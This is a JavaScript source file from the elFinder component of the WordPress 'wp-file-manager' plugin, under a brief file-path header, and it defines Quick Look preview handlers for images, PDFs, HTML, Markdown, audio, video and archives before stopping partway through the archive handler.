File "quicklook.plugins.js"
Full Path: /home/branxxtp/freemanvalue.com/wp-content/plugins/wp-file-manager/lib/js/commands/quicklook.plugins.js
File size: 65.58 KB
MIME-type: text/plain
Charset: utf-8
elFinder.prototype.commands.quicklook.plugins = [
/**
* Images preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/svg+xml', 'image/x-ms-bmp'],
getDimSize = ql.fm.returnBytes((ql.options.getDimThreshold || 0)),
preview = ql.preview,
WebP, flipMime;
// webp support
WebP = new Image();
WebP.onload = WebP.onerror = function() {
if (WebP.height == 2) {
mimes.push('image/webp');
}
};
WebP.src='data:image/webp;base64,UklGRjoAAABXRUJQVlA4IC4AAACyAgCdASoCAAIALmk0mk0iIiIiIgBoSygABc6WWgAA/veff/0PP8bA//LwYAAA';
// what kind of images we can display
jQuery.each(navigator.mimeTypes, function(i, o) {
var mime = o.type;
if (mime.indexOf('image/') === 0 && jQuery.inArray(mime, mimes)) {
mimes.push(mime);
}
});
preview.on(ql.evUpdate, function(e) {
var fm = ql.fm,
file = e.file,
showed = false,
dimreq = null,
setdim = function(dim) {
var rfile = fm.file(file.hash);
rfile.width = dim[0];
rfile.height = dim[1];
},
show = function() {
var elm, varelm, memSize, width, height, prop;
dimreq && dimreq.state && dimreq.state() === 'pending' && dimreq.reject();
if (showed) {
return;
}
showed = true;
elm = img.get(0);
memSize = file.width && file.height? {w: file.width, h: file.height} : (elm.naturalWidth? null : {w: img.width(), h: img.height()});
memSize && img.removeAttr('width').removeAttr('height');
width = file.width || elm.naturalWidth || elm.width || img.width();
height = file.height || elm.naturalHeight || elm.height || img.height();
if (!file.width || !file.height) {
setdim([width, height]);
}
memSize && img.width(memSize.w).height(memSize.h);
prop = (width/height).toFixed(2);
preview.on('changesize', function() {
var pw = parseInt(preview.width()),
ph = parseInt(preview.height()),
w, h;
if (prop < (pw/ph).toFixed(2)) {
h = ph;
w = Math.floor(h * prop);
} else {
w = pw;
h = Math.floor(w/prop);
}
img.width(w).height(h).css('margin-top', h < ph ? Math.floor((ph - h)/2) : 0);
})
.trigger('changesize');
//show image
img.fadeIn(100);
},
hideInfo = function() {
loading.remove();
// hide info/icon
ql.hideinfo();
},
url, img, loading, prog, m, opDfd;
if (!flipMime) {
flipMime = fm.arrayFlip(mimes);
}
if (flipMime[file.mime] && ql.dispInlineRegex.test(file.mime)) {
// this is our file - stop event propagation
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
img = jQuery('<img/>')
.hide()
.appendTo(preview)
.on('load', function() {
hideInfo();
show();
})
.on('error', function() {
loading.remove();
});
opDfd = fm.openUrl(file.hash, false, function(url) {
img.attr('src', url);
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
if (file.width && file.height) {
show();
} else if (file.size > getDimSize) {
dimreq = fm.request({
data : {cmd : 'dim', target : file.hash},
preventDefault : true
})
.done(function(data) {
if (data.dim) {
var dim = data.dim.split('x');
file.width = dim[0];
file.height = dim[1];
setdim(dim);
show();
}
});
}
}
});
},
/**
* TIFF image preview
*
* @param object ql elFinder.commands.quicklook
*/
function(ql) {
"use strict";
var fm = ql.fm,
mime = 'image/tiff',
preview = ql.preview;
if (window.Worker && window.Uint8Array) {
preview.on(ql.evUpdate, function(e) {
var file = e.file,
err = function(e) {
wk && wk.terminate();
loading.remove();
fm.debug('error', e);
},
setdim = function(dim) {
var rfile = fm.file(file.hash);
rfile.width = dim[0];
rfile.height = dim[1];
},
loading, prog, url, base, wk, opDfd;
if (file.mime === mime) {
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
// stop loading on change file if not loaded yet
preview.one('change', function() {
wk && wk.terminate();
loading.remove();
});
opDfd = fm.getContents(file.hash, 'arraybuffer', { progressBar: prog }).done(function(data) {
if (data) {
base = jQuery('<div></div>').css({width:'100%',height:'100%'}).hide().appendTo(preview);
try {
wk = fm.getWorker();
wk.onmessage = function(res) {
var data = res.data,
cv, co, id, prop;
wk && wk.terminate();
cv = document.createElement('canvas');
co = cv.getContext('2d');
cv.width = data.width;
cv.height = data.height;
id = co.createImageData(data.width, data.height);
(id).data.set(new Uint8Array(data.image));
co.putImageData(id, 0, 0);
base.append(cv).show();
loading.remove();
prop = (data.width/data.height).toFixed(2);
preview.on('changesize', function() {
var pw = parseInt(preview.width()),
ph = parseInt(preview.height()),
w, h;
if (prop < (pw/ph).toFixed(2)) {
h = ph;
w = Math.floor(h * prop);
} else {
w = pw;
h = Math.floor(w/prop);
}
jQuery(cv).width(w).height(h).css('margin-top', h < ph ? Math.floor((ph - h)/2) : 0);
}).trigger('changesize');
if (!file.width || !file.height) {
setdim([data.width, data.height]);
}
ql.hideinfo();
};
wk.onerror = err;
wk.postMessage({
scripts: [fm.options.cdns.tiff, document.location.origin+'/wp-content/plugins/wp-file-manager/lib/js/worker/quicklook.tiff.js'],
data: { data: data }
});
} catch(e) {
err(e);
}
} else {
err();
}
});
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}
});
}
},
/**
* PSD(Adobe Photoshop data) preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
mimes = fm.arrayFlip(['image/vnd.adobe.photoshop', 'image/x-photoshop']),
preview = ql.preview,
load = function(url, img, loading) {
try {
fm.replaceXhrSend();
PSD.fromURL(url).then(function(psd) {
var prop;
img.attr('src', psd.image.toBase64());
requestAnimationFrame(function() {
prop = (img.width()/img.height()).toFixed(2);
preview.on('changesize', function() {
var pw = parseInt(preview.width()),
ph = parseInt(preview.height()),
w, h;
if (prop < (pw/ph).toFixed(2)) {
h = ph;
w = Math.floor(h * prop);
} else {
w = pw;
h = Math.floor(w/prop);
}
img.width(w).height(h).css('margin-top', h < ph ? Math.floor((ph - h)/2) : 0);
}).trigger('changesize');
loading.remove();
// hide info/icon
ql.hideinfo();
//show image
img.fadeIn(100);
});
}, function() {
loading.remove();
img.remove();
});
fm.restoreXhrSend();
} catch(e) {
fm.restoreXhrSend();
loading.remove();
img.remove();
}
},
PSD;
preview.on(ql.evUpdate, function(e) {
var file = e.file,
url, img, loading, prog, m,
_define, _require, opDfd;
if (mimes[file.mime] && fm.options.cdns.psd && ! fm.UA.ltIE10 && ql.dispInlineRegex.test(file.mime)) {
// this is our file - stop event propagation
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
opDfd = fm.openUrl(file.hash, 'sameorigin', function(url) {
if (url) {
img = jQuery('<img/>').hide().appendTo(preview);
if (PSD) {
load(url, img, loading);
} else {
_define = window.define;
_require = window.require;
window.require = null;
window.define = null;
fm.loadScript(
[ fm.options.cdns.psd ],
function() {
PSD = require('psd');
_define? (window.define = _define) : (delete window.define);
_require? (window.require = _require) : (delete window.require);
load(url, img, loading);
}
);
}
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}
});
},
/**
* HTML preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
mimes = fm.arrayFlip(['text/html', 'application/xhtml+xml']),
preview = ql.preview;
preview.on(ql.evUpdate, function(e) {
var file = e.file, jqxhr, loading, prog;
if (mimes[file.mime] && ql.dispInlineRegex.test(file.mime) && (!ql.options.getSizeMax || file.size <= ql.options.getSizeMax)) {
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
// stop loading on change file if not loaded yet
preview.one('change', function() {
jqxhr.state() == 'pending' && jqxhr.reject();
}).addClass('elfinder-overflow-auto');
jqxhr = fm.request({
data : {cmd : 'get', target : file.hash, conv : 1, _t : file.ts},
options : {type: 'get', cache : true},
preventDefault : true,
progressBar : prog
})
.done(function(data) {
ql.hideinfo();
var doc = jQuery('<iframe class="elfinder-quicklook-preview-html"></iframe>').appendTo(preview)[0].contentWindow.document;
doc.open();
doc.write(data.content);
doc.close();
})
.always(function() {
loading.remove();
});
}
});
},
/**
* MarkDown preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
mimes = fm.arrayFlip(['text/x-markdown']),
preview = ql.preview,
marked = null,
show = function(data, loading) {
ql.hideinfo();
var doc = jQuery('<iframe class="elfinder-quicklook-preview-html"></iframe>').appendTo(preview)[0].contentWindow.document;
doc.open();
doc.write(marked(data.content));
doc.close();
loading.remove();
},
error = function(loading) {
marked = false;
loading.remove();
};
preview.on(ql.evUpdate, function(e) {
var file = e.file, jqxhr, loading, prog;
if (mimes[file.mime] && fm.options.cdns.marked && marked !== false && ql.dispInlineRegex.test(file.mime) && (!ql.options.getSizeMax || file.size <= ql.options.getSizeMax)) {
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
// stop loading on change file if not loaded yet
preview.one('change', function() {
jqxhr.state() == 'pending' && jqxhr.reject();
}).addClass('elfinder-overflow-auto');
jqxhr = fm.request({
data : {cmd : 'get', target : file.hash, conv : 1, _t : file.ts},
options : {type: 'get', cache : true},
preventDefault : true,
progressBar : prog
})
.done(function(data) {
if (marked || window.marked) {
if (!marked) {
marked = window.marked;
}
show(data, loading);
} else {
fm.loadScript([fm.options.cdns.marked],
function(res) {
marked = res || window.marked || false;
delete window.marked;
if (marked) {
show(data, loading);
} else {
error(loading);
}
},
{
tryRequire: true,
error: function() {
error(loading);
}
}
);
}
})
.fail(function() {
error(loading);
});
}
});
},
/**
* PDF/ODT/ODS/ODP preview with ViewerJS
*
* @param elFinder.commands.quicklook
*/
function(ql) {
if (ql.options.viewerjs) {
var fm = ql.fm,
preview = ql.preview,
opts = ql.options.viewerjs,
mimes = opts.url? fm.arrayFlip(opts.mimes || []) : [],
win = ql.window,
navi = ql.navbar,
setNavi = function() {
navi.css('bottom', win.hasClass('elfinder-quicklook-fullscreen')? '30px' : '');
};
if (opts.url) {
preview.on('update', function(e) {
var file = e.file, node, loading, prog, opDfd;
if (mimes[file.mime] && (file.mime !== 'application/pdf' || !opts.pdfNative || !ql.flags.pdfNative)) {
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
opDfd = fm.openUrl(file.hash, 'sameorigin', function(url) {
if (url) {
node = jQuery('<iframe class="elfinder-quicklook-preview-iframe"></iframe>')
.css('background-color', 'transparent')
.on('load', function() {
ql.hideinfo();
loading.remove();
node.css('background-color', '#fff');
})
.on('error', function() {
loading.remove();
node.remove();
})
.appendTo(preview)
.attr('src', opts.url + '#' + url);
win.on('viewchange.viewerjs', setNavi);
setNavi();
preview.one('change', function() {
win.off('viewchange.viewerjs');
loading.remove();
node.off('load').remove();
});
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}
});
}
}
},
/**
* PDF preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
mime = 'application/pdf',
preview = ql.preview,
active = false,
urlhash = '',
firefox, toolbar;
if ((fm.UA.Safari && fm.OS === 'mac' && !fm.UA.iOS) || fm.UA.IE || fm.UA.Firefox) {
active = true;
} else {
jQuery.each(navigator.plugins, function(i, plugins) {
jQuery.each(plugins, function(i, plugin) {
if (plugin.type === mime) {
return !(active = true);
}
});
});
}
ql.flags.pdfNative = active;
if (active) {
if (typeof ql.options.pdfToolbar !== 'undefined' && !ql.options.pdfToolbar) {
urlhash = '#toolbar=0';
}
preview.on(ql.evUpdate, function(e) {
var file = e.file,
opDfd;
if (active && file.mime === mime && ql.dispInlineRegex.test(file.mime)) {
e.stopImmediatePropagation();
opDfd = fm.openUrl(file.hash, false, function(url) {
if (url) {
ql.hideinfo();
ql.cover.addClass('elfinder-quicklook-coverbg');
jQuery('<object class="elfinder-quicklook-preview-pdf" data="'+url+urlhash+'" type="application/pdf" ></object>')
.on('error', function(e) {
active = false;
ql.update(void(0), fm.cwd());
ql.update(void(0), file);
})
.appendTo(preview);
}
});
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}
});
}
},
/**
* Flash preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
mime = 'application/x-shockwave-flash',
preview = ql.preview,
active = false;
jQuery.each(navigator.plugins, function(i, plugins) {
jQuery.each(plugins, function(i, plugin) {
if (plugin.type === mime) {
return !(active = true);
}
});
});
active && preview.on(ql.evUpdate, function(e) {
var file = e.file,
node, opDfd;
if (file.mime === mime && ql.dispInlineRegex.test(file.mime)) {
e.stopImmediatePropagation();
opDfd = fm.openUrl(file.hash, false, function(url) {
if (url) {
ql.hideinfo();
node = jQuery('<embed class="elfinder-quicklook-preview-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" src="'+url+'" quality="high" type="application/x-shockwave-flash" wmode="transparent" />')
.appendTo(preview);
}
});
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}
});
},
/**
* HTML5 audio preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
preview = ql.preview,
mimes = {
'audio/mpeg' : 'mp3',
'audio/mpeg3' : 'mp3',
'audio/mp3' : 'mp3',
'audio/x-mpeg3' : 'mp3',
'audio/x-mp3' : 'mp3',
'audio/x-wav' : 'wav',
'audio/wav' : 'wav',
'audio/x-m4a' : 'm4a',
'audio/aac' : 'm4a',
'audio/mp4' : 'm4a',
'audio/x-mp4' : 'm4a',
'audio/ogg' : 'ogg',
'audio/webm' : 'webm',
'audio/flac' : 'flac',
'audio/x-flac' : 'flac',
'audio/amr' : 'amr'
},
node, curHash,
win = ql.window,
navi = ql.navbar,
AMR, autoplay,
controlsList = typeof ql.options.mediaControlsList === 'string' && ql.options.mediaControlsList? ' controlsList="' + fm.escape(ql.options.mediaControlsList) + '"' : '',
setNavi = function() {
navi.css('bottom', win.hasClass('elfinder-quicklook-fullscreen')? '50px' : '');
},
getNode = function(src, hash) {
return jQuery('<audio class="elfinder-quicklook-preview-audio ui-front" controls' + controlsList + ' preload="auto" autobuffer><source src="'+src+'" ></source></audio>')
.on('change', function(e) {
// Firefox fire change event on seek or volume change
e.stopPropagation();
})
.on('error', function(e) {
node && node.data('hash') === hash && reset();
})
.data('hash', hash)
.appendTo(preview);
},
amrToWavUrl = function(hash) {
var dfd = jQuery.Deferred(),
loader = jQuery.Deferred().done(function() {
var opDfd;
opDfd = fm.getContents(hash, 'arraybuffer', { progressBar: prog }).done(function(data) {
try {
var buffer = AMR.toWAV(new Uint8Array(data));
if (buffer) {
dfd.resolve(URL.createObjectURL(new Blob([buffer], { type: 'audio/x-wav' })));
} else {
dfd.reject();
}
} catch(e) {
dfd.reject();
}
}).fail(function() {
dfd.reject();
});
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}).fail(function() {
AMR = false;
dfd.reject();
}),
_AMR;
if (window.TextEncoder && window.URL && URL.createObjectURL && typeof AMR === 'undefined') {
// previous window.AMR
_AMR = window.AMR;
delete window.AMR;
fm.loadScript(
[ fm.options.cdns.amr ],
function() {
AMR = window.AMR? window.AMR : false;
// restore previous window.AMR
window.AMR = _AMR;
loader[AMR? 'resolve':'reject']();
},
{
error: function() {
loader.reject();
}
}
);
} else {
loader[AMR? 'resolve':'reject']();
}
return dfd;
},
play = function(player) {
var hash = node.data('hash'),
playPromise;
autoplay && (playPromise = player.play());
// uses "playPromise['catch']" instead "playPromise.catch" to support Old IE
if (playPromise && playPromise['catch']) {
playPromise['catch'](function(e) {
if (!player.paused) {
node && node.data('hash') === hash && reset();
}
});
}
},
reset = function() {
if (node && node.parent().length) {
var elm = node[0],
url = node.children('source').attr('src');
win.off('viewchange.audio');
try {
elm.pause();
node.empty();
if (url.match(/^blob:/)) {
URL.revokeObjectURL(url);
}
elm.src = '';
elm.load();
} catch(e) {}
node.remove();
node = null;
}
},
loading, prog;
preview.on(ql.evUpdate, function(e) {
var file = e.file,
type = mimes[file.mime],
html5, opDfd;
if (mimes[file.mime] && ql.dispInlineRegex.test(file.mime) && ((html5 = ql.support.audio[type]) || (type === 'amr'))) {
autoplay = ql.autoPlay();
curHash = file.hash;
if (!html5) {
if (fm.options.cdns.amr && type === 'amr' && AMR !== false) {
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
node = getNode('', curHash);
amrToWavUrl(file.hash).done(function(url) {
loading.remove();
if (curHash === file.hash) {
var elm = node[0];
try {
node.children('source').attr('src', url);
elm.pause();
elm.load();
play(elm);
win.on('viewchange.audio', setNavi);
setNavi();
} catch(e) {
URL.revokeObjectURL(url);
node.remove();
}
} else {
URL.revokeObjectURL(url);
}
}).fail(function() {
node.remove();
});
}
} else {
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
opDfd = fm.openUrl(curHash, false, function(url) {
loading.remove();
if (url) {
node = getNode(url, curHash);
play(node[0]);
win.on('viewchange.audio', setNavi);
setNavi();
} else {
node.remove();
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}
}
}).one('change', reset);
},
/**
* HTML5 video preview plugin
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
preview = ql.preview,
mimes = {
'video/mp4' : 'mp4',
'video/x-m4v' : 'mp4',
'video/quicktime' : 'mp4',
'video/mpeg' : 'mpeg',
'video/ogg' : 'ogg',
'application/ogg' : 'ogg',
'video/webm' : 'webm',
'video/x-matroska': 'mkv',
'video/3gpp' : '3gp',
'application/vnd.apple.mpegurl' : 'm3u8',
'application/x-mpegurl' : 'm3u8',
'application/dash+xml' : 'mpd',
'video/x-flv' : 'flv',
'video/x-msvideo' : 'avi'
},
node,
win = ql.window,
navi = ql.navbar,
cHls, cDash, pDash, cFlv, cVideojs, autoplay, tm, loading, prog,
controlsList = typeof ql.options.mediaControlsList === 'string' && ql.options.mediaControlsList? ' controlsList="' + fm.escape(ql.options.mediaControlsList) + '"' : '',
setNavi = function() {
if (fm.UA.iOS) {
if (win.hasClass('elfinder-quicklook-fullscreen')) {
preview.css('height', '-webkit-calc(100% - 50px)');
navi._show();
} else {
preview.css('height', '');
}
} else {
navi.css('bottom', win.hasClass('elfinder-quicklook-fullscreen')? '50px' : '');
}
},
render = function(file, opts) {
var errTm = function(e) {
if (err > 1) {
tm && clearTimeout(tm);
tm = setTimeout(function() {
!canPlay && reset(true);
}, 800);
}
},
err = 0,
canPlay;
//reset();
pDash = null;
opts = opts || {};
ql.hideinfo();
node = jQuery('<video class="elfinder-quicklook-preview-video" controls' + controlsList + ' preload="auto" autobuffer playsinline>'
+'</video>')
.on('change', function(e) {
// Firefox fire change event on seek or volume change
e.stopPropagation();
})
.on('timeupdate progress', errTm)
.on('canplay', function() {
canPlay = true;
})
.data('hash', file.hash);
// can not handling error event with jQuery `on` event handler
node[0].addEventListener('error', function(e) {
if (opts.src && fm.convAbsUrl(opts.src) === fm.convAbsUrl(e.target.src)) {
++err;
errTm();
}
}, true);
if (opts.src) {
node.append('<source src="'+opts.src+'" type="'+file.mime+'"></source><source src="'+opts.src+'"></source>');
}
node.appendTo(preview);
win.on('viewchange.video', setNavi);
setNavi();
},
loadHls = function(file) {
var hls, opDfd;
opDfd = fm.openUrl(file.hash, false, function(url) {
loading.remove();
if (url) {
render(file);
hls = new cHls();
hls.loadSource(url);
hls.attachMedia(node[0]);
if (autoplay) {
hls.on(cHls.Events.MANIFEST_PARSED, function() {
play(node[0]);
});
}
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
},
loadDash = function(file) {
var opDfd;
opDfd = fm.openUrl(file.hash, false, function(url) {
var debug;
loading.remove();
if (url) {
render(file);
pDash = window.dashjs.MediaPlayer().create();
debug = pDash.getDebug();
if (debug.setLogLevel) {
debug.setLogLevel(dashjs.Debug.LOG_LEVEL_FATAL);
} else if (debug.setLogToBrowserConsole) {
debug.setLogToBrowserConsole(false);
}
pDash.initialize(node[0], url, autoplay);
pDash.on('error', function(e) {
reset(true);
});
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
},
loadFlv = function(file) {
var opDfd
if (!cFlv.isSupported()) {
cFlv = false;
return;
}
opDfd = fm.openUrl(file.hash, false, function(url) {
loading.remove();
if (url) {
var player = cFlv.createPlayer({
type: 'flv',
url: url
});
render(file);
player.on(cFlv.Events.ERROR, function() {
player.destroy();
reset(true);
});
player.attachMediaElement(node[0]);
player.load();
play(player);
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
},
loadVideojs = function(file) {
var opDfd;
opDfd = fm.openUrl(file.hash, false, function(url) {
loading.remove();
if (url) {
render(file);
node[0].src = url;
cVideojs(node[0], {
src: url
});
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
},
play = function(player) {
var hash = node.data('hash'),
playPromise;
autoplay && (playPromise = player.play());
// uses "playPromise['catch']" instead "playPromise.catch" to support Old IE
if (playPromise && playPromise['catch']) {
playPromise['catch'](function(e) {
if (!player.paused) {
node && node.data('hash') === hash && reset(true);
}
});
}
},
reset = function(showInfo) {
tm && clearTimeout(tm);
if (node && node.parent().length) {
var elm = node[0];
win.off('viewchange.video');
pDash && pDash.reset();
try {
elm.pause();
node.empty();
elm.src = '';
elm.load();
} catch(e) {}
node.remove();
node = null;
}
showInfo && ql.info.show();
};
preview.on(ql.evUpdate, function(e) {
var file = e.file,
mime = file.mime.toLowerCase(),
type = mimes[mime],
stock, playPromise, opDfd;
if (mimes[mime] && ql.dispInlineRegex.test(file.mime) /*&& (((type === 'm3u8' || (type === 'mpd' && !fm.UA.iOS) || type === 'flv') && !fm.UA.ltIE10) || ql.support.video[type])*/) {
autoplay = ql.autoPlay();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>');
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
if (ql.support.video[type] && (type !== 'm3u8' || fm.UA.Safari)) {
e.stopImmediatePropagation();
loading.appendTo(ql.info.find('.elfinder-quicklook-info'));
opDfd = fm.openUrl(file.hash, false, function(url) {
loading.remove();
if (url) {
render(file, { src: url });
play(node[0]);
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
} else {
if (cHls !== false && fm.options.cdns.hls && type === 'm3u8') {
e.stopImmediatePropagation();
loading.appendTo(ql.info.find('.elfinder-quicklook-info'));
if (cHls) {
loadHls(file);
} else {
stock = window.Hls;
delete window.Hls;
fm.loadScript(
[ fm.options.cdns.hls ],
function(res) {
cHls = res || window.Hls || false;
window.Hls = stock;
cHls && loadHls(file);
},
{
tryRequire: true,
error : function() {
cHls = false;
}
}
);
}
} else if (cDash !== false && fm.options.cdns.dash && type === 'mpd') {
e.stopImmediatePropagation();
loading.appendTo(ql.info.find('.elfinder-quicklook-info'));
if (cDash) {
loadDash(file);
} else {
fm.loadScript(
[ fm.options.cdns.dash ],
function() {
// dashjs require window.dashjs in global scope
cDash = window.dashjs? true : false;
cDash && loadDash(file);
},
{
tryRequire: true,
error : function() {
cDash = false;
}
}
);
}
} else if (cFlv !== false && fm.options.cdns.flv && type === 'flv') {
e.stopImmediatePropagation();
loading.appendTo(ql.info.find('.elfinder-quicklook-info'));
if (cFlv) {
loadFlv(file);
} else {
stock = window.flvjs;
delete window.flvjs;
fm.loadScript(
[ fm.options.cdns.flv ],
function(res) {
cFlv = res || window.flvjs || false;
window.flvjs = stock;
cFlv && loadFlv(file);
},
{
tryRequire: true,
error : function() {
cFlv = false;
}
}
);
}
} else if (fm.options.cdns.videojs) {
e.stopImmediatePropagation();
loading.appendTo(ql.info.find('.elfinder-quicklook-info'));
if (cVideojs) {
loadVideojs(file);
} else {
fm.loadScript(
[ fm.options.cdns.videojs + '/video.min.js' ],
function(res) {
cVideojs = res || window.videojs || false;
//window.flvjs = stock;
cVideojs && loadVideojs(file);
},
{
tryRequire: true,
error : function() {
cVideojs = false;
}
}
).loadCss([fm.options.cdns.videojs + '/video-js.min.css']);
}
}
}
}
}).one('change', reset);
},
/**
* Audio/video preview plugin using browser plugins
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var preview = ql.preview,
mimes = [],
node,
win = ql.window,
navi = ql.navbar;
jQuery.each(navigator.plugins, function(i, plugins) {
jQuery.each(plugins, function(i, plugin) {
(plugin.type.indexOf('audio/') === 0 || plugin.type.indexOf('video/') === 0) && mimes.push(plugin.type);
});
});
mimes = ql.fm.arrayFlip(mimes);
preview.on(ql.evUpdate, function(e) {
var file = e.file,
mime = file.mime,
video, opDfd, loading, prog,
setNavi = function() {
navi.css('bottom', win.hasClass('elfinder-quicklook-fullscreen')? '50px' : '');
};
if (mimes[file.mime] && ql.dispInlineRegex.test(file.mime)) {
e.stopImmediatePropagation();
loading = jQuery('<div class="elfinder-quicklook-info-data"><span class="elfinder-spinner-text">'+fm.i18n('nowLoading')+'</span><span class="elfinder-spinner"></span></div>').appendTo(ql.info.find('.elfinder-quicklook-info'));
prog = jQuery('<div class="elfinder-quicklook-info-progress"></div>').appendTo(loading);
opDfd = ql.fm.openUrl(file.hash, false, function(url) {
loading.remove();
if (url) {
(video = mime.indexOf('video/') === 0) && ql.hideinfo();
node = jQuery('<embed src="'+url+'" type="'+mime+'" class="elfinder-quicklook-preview-'+(video ? 'video' : 'audio')+'"/>')
.appendTo(preview);
win.on('viewchange.embed', setNavi);
setNavi();
}
}, { progressBar: prog });
// stop loading on change file if not loaded yet
preview.one('change', function() {
opDfd && opDfd.state && opDfd.state() === 'pending' && opDfd.reject();
});
}
}).one('change', function() {
if (node && node.parent().length) {
win.off('viewchange.embed');
node.remove();
node= null;
}
});
},
/**
* Archive(zip|gzip|tar|bz2) preview plugin using https://github.com/imaya/zlib.js
*
* @param elFinder.commands.quicklook
**/
function(ql) {
"use strict";
var fm = ql.fm,
mimes = fm.arrayFlip(['application/zip', 'application/x-gzip', 'application/x-tar', 'application/x-bzip2']),
preview = ql.preview,
sizeMax = fm.returnBytes(ql.options.unzipMaxSize || 0),
Zlib = (fm.options.cdns.zlibUnzip && fm.options.cdns.zlibGunzip)? true : false,
bzip2 = fm.options.cdns.bzip2? true : false;
if (window.Worker && window.Uint8Array && window.DataView) {
preview.on(ql.evUpdate, function(e) {
var file = e.file,
isTar = (file.mime === 'application/x-tar'),
isBzip2 = (file.mime === 'application/x-bzip2'),
isZlib = (file.mime === 'application/zip' || file.mime === 'application/x-gzip');
if (mimes[file.mime] && (!sizeMax || file.size <= sizeMax) && (
isTar
|| (isBzip2 && bzip2)
|| (isZlib && Zlib)
)) {
var jqxhr, wk, loading, prog, url,
req = function() {
jqxhr = fm.getContents(file.hash, 'arraybuffer', { progressBar: prog })
.fail(function() {
loading.remove();
})
.done(function(data) {
var unzip, filenames,
err = function(e) {
wk && wk.terminate();
loading.remove();
if (isZlib) {
Zlib = false;
